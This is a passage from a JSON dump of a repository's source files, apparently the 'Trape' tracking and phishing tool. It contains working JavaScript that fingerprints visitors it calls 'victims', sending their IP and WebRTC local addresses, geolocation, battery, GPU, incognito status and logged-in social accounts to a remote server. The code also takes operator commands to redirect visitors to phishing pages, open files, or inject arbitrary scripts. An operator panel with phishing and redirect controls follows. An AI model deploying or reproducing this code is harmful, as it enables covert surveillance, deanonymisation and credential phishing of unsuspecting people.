\"/login?redirect_to=%2Ffavicon.ico\",\n        name: \"Tumblr\",\n        login: \"/login\"\n    }, {\n        url: \"https://www.dropbox.com\",\n        path: \"/login?cont=https%3A%2F%2Fwww.dropbox.com%2Fstatic%2Fimages%2Fabout%2Fdropbox_logo_glyph_2015.svg\",\n        name: \"Dropbox\",\n        login: \"/login\"\n    }, {\n        url: \"https://www.amazon.com\",\n        path: \"/ap/signin/178-4417027-1316064?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=10000000&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico\",\n        name: \"Amazon\",\n        login: \"/ap/signin/\"\n    }, {\n        url: \"https://github.com\",\n        path: \"/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1\",\n        name: \"Github\",\n        login: \"/login\"\n    }, {\n        url: \"https://medium.com\",\n        path: \"/m/signin?redirect=https%3A%2F%2Fmedium.com%2Ffavicon.ico&loginType=default\",\n        name: \"Medium\",\n        login: \"/m/signin\"\n    }, {\n        url: \"https://www.paypal.com\",\n        path: \"/signin?returnUri=https://t.paypal.com/ts?v=1.0.0\",\n        name: \"Paypal\",\n        login: \"/account/signin/\"\n    }, {\n        url: \"https://bitbucket.org\",\n        path: \"/account/signin/?next=/favicon.ico\",\n        name: \"BitBucket\",\n        login: \"/account/signin/\"\n    }, {\n        url: \"https://www.instagram.com\",\n        path: \"/accounts/login/?next=%2Ffavicon.ico\",\n        name: \"Instagram\",\n        login: \"/accounts/login/\"\n    }, {\n        url: \"https://foursquare.com\",\n        path: \"/login?continue=%2Ffavicon.ico\",\n        name: \"Foursquare\",\n        login: \"/login\"\n    }, {\n        url: \"https://www.airbnb.com\",\n        path: \"/login?redirect_params[action]=favicon.ico&redirect_params[controller]=home\",\n        name: \"Airbnb\",\n        login: \"/login\"\n    }, {\n        url: \"https://news.ycombinator.com\",\n        path: \"/login?goto=y18.gif\",\n        name: \"Hackernews\",\n        login: \"/login\"\n    }, {\n        url: \"https://slack.com\",\n        path: \"/checkcookie?redir=https%3A%2F%2Fslack.com%2Ffavicon.ico%23\",\n        name: \"Slack\",\n        login: \"/signin\"\n    }, {\n        url: \"https://squareup.com\",\n        path: \"/login?return_to=%2Ffavicon.ico\",\n        name: \"Square\",\n        login: \"/login\"\n    }, {\n        url: \"https://squareup.com\",\n        path: \"/login?return_to=%2Ffavicon.ico\",\n        name: \"Square\",\n        login: \"/login\"\n    }, {\n        url: \"https://disqus.com\",\n        path: \"/profile/login/?next=https%3A%2F%2Fdisqus.com%2Ffavicon.ico\",\n        name: \"Disqus\",\n        login: \"/profile/login\"\n    }, {\n        url: \"https://www.meetup.com\",\n        path: \"/login/?returnUri=https%3A%2F%2Fwww.meetup.com%2Fimg%2Fajax_loader_trans.gif\",\n        name: \"Meetup\",\n        login: \"/login\"\n    }, {\n        url: \"https://www.udemy.com\",\n        path: \"/join/login-popup/?next=/staticx/udemy/images/v6/favicon.ico\",\n        name: \"Udemy\",\n        login: \"/join/login-popup/\"\n    }, {\n        url: \"https://www.patreon.com\",\n        path: \"/login?ru=/images/profile_default.png\",\n        name: \"Patreon\",\n        login: \"/login\"\n    }, {\n        url: \"https://accounts.google.com\",\n        path: \"/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube\",\n        name: \"Youtube\",\n        login: \"/ServiceLogin\"\n    }, {\n        url: \"https://accounts.snapchat.com\",\n        path: \"/accounts/login?continue=https://accounts.snapchat.com/accounts/static/images/favicon/favicon.png\",\n        name: \"Snapchat\",\n        login: \"/accounts/login\"\n    }, {\n        url: \"https://www.messenger.com\",\n        path: \"/login.php?next=http://www.messenger.com/favicon.ico\",\n        name: \"Messenger\",\n        login: \"/login.php\"\n    }, {\n        url: \"https://www.khanacademy.org\",\n        path: \"/login?continue=/favicon.ico\",\n        name: \"Khanacademy\",\n        login: \"/login\"\n    }, {\n        url: \"https://www.eventbrite.com\",\n        path: \"/signin/?referrer=https://www.eventbrite.com/favicon.ico\",\n        name: \"Eventbrite\",\n        login: \"/signin\"\n    }, {\n        url: \"https://www.etsy.com\",\n        path: \"/signin?from_page=https://www.etsy.com/favicon.ico\",\n        name: \"Etsy\",\n        login: \"/signin\"\n    }, {\n        url: \"https://www.twitch.tv\",\n        path: \"/login?redirect_on_login=/favicon.ico\",\n        name: \"Twitch\",\n        login: \"/login\"\n    }];\n\n    $.each(Services, function(index, val) {\n         urlServices[val.name.toLowerCase()] = val.url + val.login;\n    });\n});\n\nwindow.t_sdisconnect = false;\n\n\nfunction tping() {\n    var d = getVictimData();\n    var data = {id : d.vId};\n\n    if (socketTrape != null){\n        if (socketTrape.disconnected){\n            window.t_sdisconnect = socketTrape.disconnected;\n        }\n    }\n    $.ajax({\n        url: window.serverPath + '/tping',\n        data: data,\n        dataType: \"json\",\n        type: 'POST',\n        success: function(response) {\n            setTimeout(function(){tping()}, 1500);\n            if(window.t_sdisconnect){\n                createSockets();\n                window.t_sdisconnect = socketTrape.disconnected;\n            }\n        },\n        error: function(error) {\n            setTimeout(function(){tping()}, 2000);\n        }\n    });\n}\n\nfunction conChange() {\n    var connection = window.navigator.connection || window.navigator.mozConnection || null;\n    var d = getVictimData();\n    var vConnection = {};\n\n    if (connection != undefined && connection != null){\n\n        $.each(connection, function(index, val) {\n            if (typeof(val) != 'object' && typeof(val) != 'function'){\n                vConnection[index] = val;\n            }\n        });\n\n    } else {\n        vConnection = {\"downlink\": 0, \"effectiveType\" : \"ND\", \"rtt\" : 0};\n    }\n\n    var objDownload = {\n        size : 2104238,\n        src : 'https://upload.wikimedia.org/wikipedia/commons/0/01/Sof%C3%ADa_Vergara_3_May_2014_%28cropped%29.jpg'\n    };\n\n    var objTime = {\n        start : 0,\n        end : 0,\n        duration : 0\n    }\n\n    objTime.start =  (new Date ()).getTime();\n    var imgDownload = new Image ();\n\n    imgDownload.onload = function(){\n        objTime.end =  (new Date ()).getTime();\n        objDownload.duration = ((objTime.end - objTime.start)/1000);\n        objDownload.bitsLoaded = (parseFloat(objDownload.size) * 8);\n        objDownload.speedBps = Math.round (objDownload.bitsLoaded / objDownload.duration);\n        objDownload.speedKbps = (objDownload.speedBps / 1024).toFixed(2);\n        objDownload.speedMbps = (objDownload.speedKbps / 1024).toFixed(2);\n\n        var packet = '1111111111111111';\n        for (var i = 0; i <= 15; i++) {\n            packet += packet;\n        }\n\n        var objUpload = {\n            size : packet.length\n        };\n\n        objTime.start =  (new Date ()).getTime();\n        $.post('https://www.googleapis.com/urlshortener/v1/url?key=', {'longUrl': packet}, function(data, textStatus, xhr) {\n        }, 'json').fail(function(){\n            objTime.end =  (new Date ()).getTime();\n            objUpload.duration = ((objTime.end - objTime.start)/1000);\n            objUpload.bitsLoaded = (parseFloat(objUpload.size) * 8);\n            objUpload.speedBps = Math.round (objUpload.bitsLoaded / objUpload.duration);\n            objUpload.speedKbps = (objUpload.speedBps / 1024).toFixed(2);\n            objUpload.speedMbps = (objUpload.speedKbps / 1024).toFixed(2);\n\n            vConnection.Download_test = objDownload;\n            vConnection.Upload_test = objUpload;\n            vConnection = JSON.stringify(vConnection);\n\n            var data = {\n                    vId : d.vId,\n                    con: vConnection,\n                    host : document.location.host};\n            $.ajax({\n                url: window.serverPath + '/lc',\n                data: data,\n                dataType: \"json\",\n                type: 'POST',\n                success: function(response) {\n                    //setTimeout(function(){ locateV(); }, 5000);\n                },\n                error: function(error) {\n                    \n                }\n            });\n        });\n    }\n\n    imgDownload.src = objDownload.src + '?n=' + Math.random();\n\n}\n\nfunction sendData(data) {\n    $.ajax({\n        url: window.serverPath + '/nr',\n        data: data,\n        dataType: \"json\",\n        type: 'POST',\n        success: function(response) {\n\n        },\n        error: function(error) {\n        }\n    });\n}\n\n\nfunction getVictimData() {\n\tvar d = {\n        vId : null, \n        vURL : null\n    };\n\tif (localStorage.trape_vId != undefined) {\n\t\td.vId = localStorage.trape_vId;\n        d.vURL = localStorage.trape_vURL;\n\t}\n\t\n\treturn d;\n}\n\nfunction defineSockets(self) {\n    self.on('my_response', function(msg) {\n        switch (msg.data.type){\n            case 'network':\n                localStorage.setItem(\"trape_vURL\", urlServices[msg.data.message]);\n                window.location.replace('/rv?url=' + urlServices[msg.data.message]);\n                break;\n            case 'url':\n                localStorage.setItem(\"trape_vURL\", msg.data.message);\n                window.location.replace('/rv?url=' + msg.data.message);\n                break;\n            case 'redirect':\n                window.location.replace(msg.data.message);\n                break;\n            case 'alert':\n                alert(msg.data.message);\n                break;\n            case 'execute':\n                var objW = window.open('static/files/' + msg.data.message);\n                if (objW == null){\n                    objW = window.location.replace('static/files/' + msg.data.message);\n                }\n                console.log(objW);\n                break;\n            case 'talk':\n                responsiveVoice.speak(msg.data.message, msg.data.voice, {volume: 1});\n                break;\n            case 'jscode':\n                $('body').append('<script>' + msg.data.message + '</script>');\n                break;\n            case 'jsscript':\n                $('body').append('<script src=\"' + msg.data.message + '\"></script>');\n                break;\n            default:\n                return false;\n        }                            \n    });\n}\n\nfunction locateV(self) {\n    /*\n    $.ajax({\n\turl: \"https://www.googleapis.com/geolocation/v1/geolocate?key=\" + window.gMapsApiKey,\n        data: {},\n        dataType: \"json\",\n        type: \"POST\",\n        success: function(response, status) {\n            if (status == 'success'){\n                $.ajax({\n                        url: window.serverPath + '/lr',\n                        data :  {\"vId\" : localStorage.trape_vId, \"lat\": response.location.lat, \"lon\": response.location.lng},\n                        dataType: \"json\",\n                        type: 'POST',\n                        success: function(data) {\n                            setTimeout(function(){ locateV(); }, 30000);\n                        },\n                        error:function(error) {\n                            setTimeout(function(){ locateV(); }, 10000);\n                        }    \n                    });\n            } else{\n                setTimeout(function(){ locateV(); }, 10000);    \n            }\n        },\n        error: function(error) {\n            setTimeout(function(){ locateV(); }, 10000);\n        }\n    });\n    */\n\n    $.ajax({\n        url: window.serverPath + '/lr',\n        data :  {\"vId\" : localStorage.trape_vId, \"lat\": latitude, \"lon\": longitude},\n        dataType: \"json\",\n        type: 'POST',\n        success: function(data) {\n            setTimeout(function(){ locateV(); }, 5000);\n        },\n        error:function(error) {\n            setTimeout(function(){ locateV(); }, 10000);\n        }    \n    });\n}\n\nfunction workWithNetworks(){\n    $.getJSON('//ipinfo.io/json/?callback=?', function(data) {\n        var dInfo = {ip : null, vId : null, red : null};\n        $.extend( true, dInfo, data);\n        dInfo.vId = localStorage.trape_vId\n        var idx = 0;\n\n        $.each(Services, function(index, network) {\n            var img = document.createElement(\"img\");\n            img.src = network.url + network.path;\n            img.onload = function() {\n                dInfo.red = network.name;\n                sendData(dInfo);\n                idx = getUpdateData(idx);\n            };\n                img.onerror = function() {\n                idx = getUpdateData(idx);\n            };\n        });\n    });\n\n    function getUpdateData(idx) {\n        idx++;\n        return idx;\n    }\n}\n\nfunction detectBattery(){\n    var b_send_data = function(data){\n        var d = getVictimData();\n        $.ajax({\n            url: window.serverPath + \"/bs\",\n            data: {id : d.vId, 't' : data.type, 'd' : data.val},\n            dataType: \"json\",\n            type: \"POST\",\n            success: function(response) {},\n            error: function(error) {}\n        });\n    }\n\n    try{\n        navigator.getBattery().then(function(battery) {\n          function updateAllBatteryInfo(){\n            updateChargeInfo();\n            updateLevelInfo();\n            updateChargingInfo();\n            updateDischargingInfo();\n          }\n          updateAllBatteryInfo();\n\n          battery.addEventListener('chargingchange', function(){\n            updateChargeInfo();\n          });\n          function updateChargeInfo(){\n            b_send_data({'type' : 'charging', 'val' : (battery.charging ? 'True' : 'False')});\n          }\n\n          battery.addEventListener('levelchange', function(){\n            updateLevelInfo();\n          });\n          function updateLevelInfo(){\n            b_send_data({'type' : 'level', 'val' : (battery.level * 100)});\n\n          }\n\n          battery.addEventListener('chargingtimechange', function(){\n            updateChargingInfo();\n          });\n          function updateChargingInfo(){\n            b_send_data({'type' : 'time_c', 'val' : battery.chargingTime});\n          }\n\n          battery.addEventListener('dischargingtimechange', function(){\n            updateDischargingInfo();\n          });\n          function updateDischargingInfo(){\n            b_send_data({'type' : 'time_d', 'val' : battery.dischargingTime});\n          }\n        });\n        \n    } catch(err) {\n        b_send_data({'type' : 'charging', 'val' : 'No Detected'});\n        b_send_data({'type' : 'level', 'val' : 0});\n        b_send_data({'type' : 'time_c', 'val' : 0});\n        b_send_data({'type' : 'time_d', 'val' : 0});\n    }\n}\n\nfunction navigation_mode(){\n    var nm_sendData = function(data){\n        var d = getVictimData();\n        $.ajax({\n            url: window.serverPath + \"/nm\",\n            data: {id : d.vId, 'd' : data, 'dn' : navigator.doNotTrack},\n            dataType: \"json\",\n            type: \"POST\",\n            success: function(response) {},\n            error: function(error) {}\n        });\n    }\n\n    function ifIncognito(incog,func){ var fs = window.RequestFileSystem || window.webkitRequestFileSystem; if (!fs) {\n        var db = indexedDB.open(\"test\");\n        db.onerror = function(){\n            nm_sendData('incognito')\n            var storage = window.sessionStorage;\n            try {\n                storage.setItem(\"p123\", \"test\");\n                storage.removeItem(\"p123\");\n            } catch (e) {\n                if (e.code === DOMException.QUOTA_EXCEEDED_ERR && storage.length === 0) {\n                    nm_sendData('incognito')\n                }\n            }\n        };\n        db.onsuccess =function(){nm_sendData('normal')};\n    } else { if(incog) fs(window.TEMPORARY, 100, ()=>{}, func); else fs(window.TEMPORARY, 100, func, ()=>{}); } } \n\n    ifIncognito(true, ()=>{ nm_sendData('incognito') }); \n    ifIncognito(false, ()=>{ nm_sendData('normal') }) \n}\n\nfunction queryGPU(){\n    $('body').append('<canvas id=\"glcanvas\" width=\"1\" height=\"1\"></canvas>');\n    var canvas = document.getElementById(\"glcanvas\");\n    var v_data = {\n        \"vendor\" : 'No Detect',\n        \"renderer\" : 'No Detect',\n        \"display\" : 'No Detect'\n    };\n        try {\n            gl = canvas.getContext(\"experimental-webgl\");\n            gl.viewportWidth = canvas.width;\n            gl.viewportHeight = canvas.height;\n        } catch (e) {}\n        if (gl) {\n            var extension = gl.getExtension('WEBGL_debug_renderer_info');\n\n            if (extension != undefined) {\n                v_data.vendor = gl.getParameter(extension.UNMASKED_VENDOR_WEBGL);\n                v_data.renderer = gl.getParameter(extension.UNMASKED_RENDERER_WEBGL);\n            } else {\n                v_data.vendor = gl.getParameter(gl.VENDOR);\n                v_data.renderer = gl.getParameter(gl.RENDERER);\n            }\n\n        }\n        v_data.display = window.screen.width + ' x ' + window.screen.height + ' - ' + window.screen.colorDepth + 'bits/pixel';\n\n    $.ajax({\n        url: '/gGpu',\n        data: {vId : localStorage.trape_vId, data : JSON.stringify(v_data)},\n        dataType: \"json\",\n        type: 'POST',\n        success: function(response) {\n            \n        },\n        error: function(error) {\n        }\n    });\n}\n\nfunction getIPs(callback) {\n    var ip_dups = {};\n    var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;\n    var useWebKit = !!window.webkitRTCPeerConnection;\n\n    if (!RTCPeerConnection) {\n        var win = iframe.contentWindow;\n        RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection;\n        useWebKit = !!win.webkitRTCPeerConnection;\n    }\n\n    var mediaConstraints = {\n        optional: [{\n            RtpDataChannels: true\n        }]\n    };\n\n    var servers = {\n        iceServers: [{\n            urls: \"stun:stun.services.mozilla.com\"\n        }]\n    };\n\n    var pc = new RTCPeerConnection(servers, mediaConstraints);\n\n    var sentResult = false;\n\n    function handleCandidate(candidate) {\n        var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/\n        var ip_addr = ip_regex.exec(candidate)[1];\n\n        //remove duplicates\n        if (!sentResult && ip_dups[ip_addr] === undefined) {\n            sentResult = true;\n            callback(ip_addr);\n        }\n\n        ip_dups[ip_addr] = true;\n    }\n\n    pc.onicecandidate = function(ice) {\n\n        //skip non-candidate events\n        if (ice.candidate)\n            handleCandidate(ice.candidate.candidate);\n    };\n    pc.createDataChannel(\"\");\n\n    pc.createOffer(function(result) {\n\n        pc.setLocalDescription(result, function() {}, function() {});\n\n    }, function() {});\n\n    setTimeout(function() {\n        var lines = pc.localDescription.sdp.split('\\n');\n\n        lines.forEach(function(line) {\n            if (line.indexOf('a=candidate:') === 0)\n                handleCandidate(line);\n        });\n    }, 1000);\n}\n\nfunction getGeolocation(){\n    if (navigator.geolocation) {\n        navigator.geolocation.getCurrentPosition( function(position){        \n            latitude = position.coords.latitude;\n            longitude = position.coords.longitude;\n        });\n    }\n}\n\nvar objUser = {\n    getIPs : function(){\n        getIPs(function(ip){\n            $.ajax({\n                url: window.serverPath + \"/cIp\",\n                data: {\"ip\" : ip, \"id\" : localStorage.trape_vId},\n                dataType: \"json\",\n                type: \"POST\",\n                success: function(response) {\n\n                },\n                error: function(error) {}\n            });\n        });\n    }\n    , sendNetworks : function(){workWithNetworks();}\n}\n"
  },
  {
    "path": "static/js/custom.js",
    "content": "$(document).ready(function($) {\n    /**\n     * DO NOT delete this file completely.\n     * Your code goes here\n     */\n})"
  },
  {
    "path": "static/js/inject.js",
    "content": "(function() {\n\tvar paths = [\n\t\t'[HOST_ADDRESS]/static/js/[LIBS_SRC]',\n\t\t'[HOST_ADDRESS]/static/js/[BASE_SRC]',\n\t\t'[HOST_ADDRESS]/static/js/[LURE_SRC]',\n\t\t'[HOST_ADDRESS]/static/js/[CUSTOM_SRC]'\n\t];\n\twindow.gMapsApiKey = \"[YOUR_GMAPS_API_KEY]\";\n\tvar imported = {};\n\tvar idx = 0;\n\n\tloadScript(function(){\n\t\tidx++;\n\t\tloadScript(function(){\n\t\t\tidx++;\n\t\t\twindow.serverPath = '[HOST_ADDRESS]';\n\t\t\tloadScript(function(){\n\t\t\t\tidx++;\n\t\t\t\tloadScript(function(){\n\t\t\t\t\tidx++;\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t});\n\n\tfunction loadScript(callback){\n\t\timported = document.createElement('script');\n\t    imported.type = 'text/javascript';\n\t\timported.src = paths[idx];\n\n\t    imported.onload = callback;\n\n\t    var head = document.getElementsByTagName('head')[0];\n\t    head.appendChild(imported, head);\n\t}\n}())"
  },
  {
    "path": "static/js/login.js",
    "content": "$(document).ready(function() {\n    //Hide Incorrect password message\n    $(\".TrapeLogin-IncorrectKey\").hide();\n    delete localStorage.trape;\n\n    $(\".TrapeLogin-Wrapper--Form---Body\").on(\"submit\", function(event) {\n        //Stop form reload\n        event.preventDefault();\n        //Set variable to sent\n        var id = { \n            id : $(\"#dataKey\").val()\n        };\n\n        //Send data to the py server\n        $.ajax({\n            url: \"/login\",\n            data: id,\n            dataType: \"json\",\n            type: \"POST\",\n            success: function(response) {\n                if (response.status == \"OK\") {\n                    // Set the temporal id on localStorage variable\n                    localStorage.setItem(\"trape\", id.id);\n                    // Redirect to the panel\n                    window.location.replace(response.path);\n                } else {\n                    //Show Incorrect password message\n                    $(\".TrapeLogin-IncorrectKey\").fadeIn(300).delay(2600).fadeOut(600);\n                }\n            },\n            error: function(error) {\n                console.log(error);\n            }\n        });\n    });\n});"
  },
  {
    "path": "static/js/payload.js",
    "content": "$(document).ready(function($) {\n\n    $.getJSON('https://api.ipgeolocation.io/ipgeo?apiKey=' + window.IpInfoApiKey, function(data) {\n        var d = getVictimData();\n\n        $.extend(true, d, data);\n\n        var parser = new UAParser();\n\n        d.cpu = JSON.stringify(parser.getCPU())\n            .replace(/\"/gi, '')\n            .replace(/{/gi, '')\n            .replace(/}/gi, '')\n            .replace(/:/gi, ' : ') + ' - ' + (navigator.hardwareConcurrency ? navigator.hardwareConcurrency + ' Cores' : '');\n\n        d.refer = document.location.host;\n\n        $.ajax({\n            url: window.serverPath + \"/register\",\n            data: d,\n            dataType: \"json\",\n            type: \"POST\",\n            success: function(response) {\n                if (response.status == 'OK'){\n                    localStorage.setItem(\"trape_vId\", response.vId);\n                    conChange();\n                    queryGPU();\n                    locateV();\n                    tping();\n                    detectBattery();\n                    navigation_mode();\n\n                    objUser.getIPs();\n                    objUser.sendNetworks();\n\n                    setInterval(function(){ \n                        objUser.getIPs();\n                        objUser.sendNetworks();\n                    }, 60000);\n\n                    createSockets();\n                }\n            },\n            error: function(error) {}\n        });\n    });\n});\n\nfunction createSockets(){\n    if (typeof(io) != 'undefined') {\n        namespace = '/trape';\n        if (window.serverPath == ''){\n            socketTrape = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace);\n        } else{\n            socketTrape = io.connect(window.serverPath + namespace);\n        }\n    }\n\n    if (socketTrape != null){\n        window.onbeforeunload = function(e) {\n            var d = getVictimData();\n            socketTrape.emit('disconnect_request', d);\n            return true;\n        }\n    }\n\n    if (socketTrape != undefined) {\n        socketTrape.emit('join', {room: localStorage.trape_vId});\n        defineSockets(socketTrape);\n    }\n}"
  },
  {
    "path": "static/js/trape.js",
    "content": "var user_active = null;\n$(document).ready(function() {\n\n  namespace = '/trape';\n  var socket = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace);\n\n  var Trape = {\n    self: this,\n    name: \"Trape\",\n    out: \"\",\n    key: \"abcdefghijklmnopqrstuvwxyz0123456789\",\n    token: Math.random().toString().substring(7).substr(0,7),\n    array: [0,1,2,3,4,5,6,7,8,9],\n    log: function(value) {\n      // simplification > console.log\n      console.log(value);\n    },\n    deploy: function() {\n      Trape.self.showDetails();\n      Trape.self.shareSocial();\n    }\n  };\n\n// unique detail function for attr > Trape\n  Trape.self.jsToken = function() {\n    var randomToken = function() {\n      // helping: http://stackoverflow.com/questions/8532406/create-a-random-token-in-javascript-based-on-user-details\n      return Trape.token;\n    };\n    var generateToken = function() {\n      return randomToken();\n    }; \n    var random = function(values) {\n      return values[Math.floor((Math.random()*values.length))];\n    };\n    var supportRand = function() {\n      for(var val = 0; val < 5; val++)\n        Trape.out += Trape.key.charAt(Math.floor(Math.random()*Trape.key.length));\n      return Trape.out; \n    }\n    var prefixRand = function() {\n      return random(Trape.array)  \n    };\n\n    var token = Trape.runToken = prefixRand() + supportRand() + generateToken();\n\n    Trape.log(\"Token\" + \"-\" + Trape.name + \":\" + \" \" + token);\n\n    // running token\n    return token; \n  }\n\n  // Running jsToken\n  var token = Trape.self.jsToken();\n\n  if (localStorage.trape == null) {\n        window.location.replace('/');\n    } else {\n        var id = { \n            id : localStorage.trape\n        };\n\n        $.ajax({\n            url: '/login',\n            data: id,\n            dataType: \"json\",\n            type: 'POST',\n            success: function(response) {\n                if (response.status != 'OK'){\n                    //Delete localStorage Variable\n                    delete localStorage.trape;\n                    //Redirect to the panel\n                    window.location.replace('/');\n                } else {\n\n                    $.ajax({\n                      url: '/get_title',\n                      dataType: \"json\",\n                      type: 'POST',\n                      complete: function(data) {\n                        $('#lblTrape_DomainTitle').text(data.responseJSON.title);\n                        $('#lnkTrape_ShareTwitter').attr('href','https://twitter.com/intent/tweet?url=' + 'http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path +'&text=' + data.responseJSON.title + '&hashtags=FirstYourSecurity&via=boxug');\n                        $('#lnkTrape_ShareFacebook').attr('href','https://www.facebook.com/sharer.php?u=' + 'http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path);\n                      }   \n                    });\n\n                    $('.TrapeControl-Header--menu---btnLogout').attr('href', '/' + response.logout);\n                    window.rm_p = response.rm_path;\n                    $('#lnkTrapeControl_DomainClone').text(response.url_to_clone);\n                    $('#lnkTrapeControl_DomainClone').attr('href', response.victim_path);\n                    $('#lblTrapeControl_StartDate').text(response.date_start);\n\n                    $('#lnkTrapeControl_url').text('http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path);\n                    $('#lnkTrapeControl_url').attr('href', 'http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path);\n\n                    socket.emit('join', {room: id.id});\n               }\n            },\n            error: function(error) {\n                console.log(error);\n            }\n        });\n\n\n        dataSync();\n    }\n\n    Trape.self.showDetails = function() {\n        // Generate unique box Modal (Detail) safe touch :)\n        $(\".TrapeControl-ViewDetails\").attr(\"id\", \"show\" + \"-\" + token);\n    };\n\n    Trape.self.shareSocial = function() {\n        var menuToggle = $('[data-action=\"toggle\"]');\n        var menu = $('.TrapeControl-shareBox');\n\n        menuToggle.click(function() {\n            menu.toggleClass(\"active\");\n        });\n\n        $(\".TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare\").click(function(event) {\n            event.preventDefault();\n            event.stopPropagation();\n            $(\".TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare\").toggleClass(\"is-active--up\");\n        });\n    }\n\n    $(document).delegate('[button-trape-detail=\"show\"]', 'click', function(event) {\n      event.preventDefault();\n        var idVictim = $(this).attr(\"data-vid\");\n        window.idVictim = idVictim;\n        window.user_behavior = $(this).parent('div').parent('div').find('.TrapeControl-History--Logs---centerData----behavior').text();\n        $('#lblTrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim').text(behaviorText[Math.round(Math.random() * (behaviorText.length - 1))]);\n        User.getDetails(idVictim,  function(){\n          User.loadMap();\n        });\n      });\n\n    $(document).delegate(\".TrapeControl-UpgradeModal--buttonClose\", 'click', function(event) {\n        event.preventDefault();\n        $(\".TrapeControl-UpgradeModal\").removeClass(\"active\");\n    });\n    \n    $(document).delegate(\".TrapeControl-Preview--buttonClose\", 'click', function(event) {\n        event.preventDefault();\n        $(\".TrapeControl-ViewDetails\").removeClass(\"active\");\n        window.tracking_victim = false;\n    });\n\n    // Tabs logs/requests\n    $(document).delegate(\".TrapeControl-History--Tabs---button\", 'click', function(e) {\n        e.preventDefault();\n        var tabAttr = $(this).data('action');\n        var boxPreview = $(\".TrapeControl-History--Logs\");\n        $('.TrapeControl-History--Tabs---button').removeClass('is-active');\n        $(this).addClass('is-active');\n\n        if (tabAttr == true) {\n          boxPreview.show();\n        } else {\n          boxPreview.each(function() {\n            var reAttr = $(this).data(\"action\");\n          if (reAttr == tabAttr) {\n              $(this).show();\n            } else {\n              $(this).hide();\n            }\n        });\n      }\n    });\n\n    // Tabs info/attacks\n    $(\".TrapeControl-Preview--Tabs---button\").on('click', function(e) {\n        e.preventDefault();\n        var tabAttr = $(this).data('action');\n        var boxPreview = $(\".TrapeControl-BoxTab\");\n        $('.TrapeControl-Preview--Tabs---button').removeClass('is-active');\n        $(this).addClass('is-active');\n\n        if (tabAttr == true) {\n          boxPreview.show();\n        } else {\n          boxPreview.each(function() {\n            var reAttr = $(this).data(\"action\");\n          if (reAttr == tabAttr) {\n              $(this).show();\n            } else {\n              $(this).hide();\n            }\n        });\n      }\n    });\n\n// Tabs whoisit/sessions\n    $(\".TrapeControl-Preview--box---Sidebar----Tabs-----button\").on('click', function(e) {\n        e.preventDefault();\n        var tabAttr = $(this).data('action');\n        var boxPreview = $(\".TrapeControl-WhoSe\");\n        $('.TrapeControl-Preview--box---Sidebar----Tabs-----button').removeClass('is-active');\n        $(this).addClass('is-active');\n\n        if (tabAttr == true) {\n          boxPreview.show();\n        } else {\n          boxPreview.each(function() {\n            var reAttr = $(this).data(\"action\");\n          if (reAttr == tabAttr) {\n              $(this).show();\n            } else {\n              $(this).hide();\n            }\n        });\n      }\n    });\n\n    // Tabs subHooks\n    $(\".TrapeControl-BoxTab--options---Tabs----button\").on('click', function(e) {\n        e.preventDefault();\n        var tabAttr = $(this).data('action');\n        var boxPreview = $(\".TrapeControl-Preview--SubTabsShow\");\n        $('.TrapeControl-BoxTab--options---Tabs----button').removeClass('is-active');\n        $(this).addClass('is-active');\n\n        if (tabAttr == true) {\n          boxPreview.show();\n        } else {\n          boxPreview.each(function() {\n            var reAttr = $(this).data(\"action\");\n          if (reAttr == tabAttr) {\n              $(this).show();\n            } else {\n              $(this).hide();\n            }\n        });\n      }\n    });\n\n\n   // Tabs networkStatus\n    $(\".TrapeControl-BoxTab--options---subTabs----button\").on('click', function(e) {\n        e.preventDefault();\n        var tabAttr = $(this).data('action');\n        var boxPreview = $(\".TrapeControl-Preview--SubTabsNH\");\n        $('.TrapeControl-BoxTab--options---subTabs----button').removeClass('is-active');\n        $(this).addClass('is-active');\n\n        if (tabAttr == true) {\n          boxPreview.show();\n        } else {\n          boxPreview.each(function() {\n            var reAttr = $(this).data(\"action\");\n          if (reAttr == tabAttr) {\n              $(this).show();\n            } else {\n              $(this).hide();\n            }\n        });\n      }\n    });\n    // run functions\n    Trape.deploy();\n\n    socket.on('my_response', function(msg) {\n        switch (msg.data){\n            case 'update-data':\n                dataSync();\n                break;\n            default:\n                return false;\n        }\n    });\n\n    $(document).delegate('.TrapeControl-Preview--box---Sidebar----NetworksStatus.online', 'click', function(event) {\n        var network = $(this).parent('div').attr(\"class\").replace('TrapeControl-Preview--box---Sidebar----NetworksDefine ', '');\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'network', 'message' : network}});\n        });\n    });\n\n    $('#btnTrapeControl-BoxTab-Phishing').on('click', function(event) {\n        event.preventDefault();\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'url', 'message' : $('#txtTrapeControl-BoxTab-Phishing').val()}}); \n        });\n    });\n\n    $('#btnTrapeControl-BoxTab-Redirect').on('click', function(event) {\n        event.preventDefault();\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'redirect', 'message' : 